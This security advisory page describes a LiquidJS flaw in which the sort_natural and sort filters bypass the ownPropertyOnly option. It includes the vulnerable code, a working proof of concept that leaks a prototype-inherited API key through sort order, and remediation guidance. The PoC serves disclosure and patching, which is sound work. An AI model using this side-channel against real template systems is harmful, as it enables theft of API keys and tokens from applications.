Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.
Details
In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
const propertyString = stringify(property)
const compare = property === undefined
? caseInsensitiveCompare
: (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
const array = toArray(input)
this.context.memoryLimit.use(array.length)
return [...array].sort(compare)
}In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
return obj[key]
}The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.
PoC
const { Liquid } = require('liquidjs');
async function main() {
const engine = new Liquid({ ownPropertyOnly: true });
// Object with prototype-inherited secret
function UserModel() {}
UserModel.prototype.apiKey = 'sk-1234-secret-token';
const target = new UserModel();
target.name = 'target';
const probe_a = { name: 'probe_a', apiKey: 'aaa' };
const probe_z = { name: 'probe_z', apiKey: 'zzz' };
// Direct access: correctly blocked by ownPropertyOnly
const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)
// map filter: correctly blocked
const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)
// sort_natural: BYPASSES ownPropertyOnly
const r3 = await engine.parseAndRender(
'{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
{ users: [probe_z, target, probe_a] }
);
console.log('sort_natural order:', r3);
// Output: "probe_a,target,probe_z,"
// If apiKey were blocked: original order "probe_z,target,probe_a,"
// Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}
main();Result:
Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.
Impact
Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.
AnalysisAI
LiquidJS sort_natural and sort filters bypass the ownPropertyOnly security option, enabling prototype property extraction through a sorting side-channel attack. Applications using LiquidJS with ownPropertyOnly: true (default since v10.x) where untrusted users write templates are vulnerable to information disclosure of sensitive prototype-inherited properties such as API keys and tokens. A working proof-of-concept demonstrates extraction of prototype secrets via binary search on filter-induced sort ordering.
Technical ContextAI
LiquidJS is a JavaScript/TypeScript implementation of the Liquid template language. The vulnerability exists in the template engine's property access filtering mechanism. When ownPropertyOnly: true is enabled, the engine is supposed to restrict template authors to accessing only direct object properties (own properties), not inherited properties through the JavaScript prototype chain. This is a critical security boundary in multi-tenant template systems. The sort_natural filter (src/filters/array.ts, lines 40-48) and sort filter (lines 26-38) directly access object properties via bracket notation (lhs[propertyString]), which inherently traverses the prototype chain. The codebase elsewhere uses a correct implementation through the readJSProperty function (src/context/context.ts) that checks hasOwnProperty when ownPropertyOnly is true. The vulnerability is rooted in CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), specifically a side-channel information disclosure where property access restrictions are circumvented through sorting behavior. The affected CPE is pkg:npm/liquidjs, indicating all npm versions prior to the patch are vulnerable.
RemediationAI
Vendor-released patch: LiquidJS version 10.25.4 and later. This patch updates the sort_natural and sort filters to use the readJSProperty function, which respects the ownPropertyOnly security option. Upgrade immediately via npm install liquidjs@10.25.4 or later. The fix is implemented in commit e743da0020d34e2ee547e1cc1a86b58377ebe1ce and merged in pull request #869. If immediate upgrade is not possible, restrict template authorship to trusted users only and audit existing templates for potential prototype property references. Verify the fix by running the provided proof-of-concept against your updated version; direct access and filter-based access to prototype properties should both be blocked when ownPropertyOnly: true is set. Refer to the official GitHub Advisory at https://github.com/advisories/GHSA-rv5g-f82m-qrvv for additional context.
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-20600
GHSA-rv5g-f82m-qrvv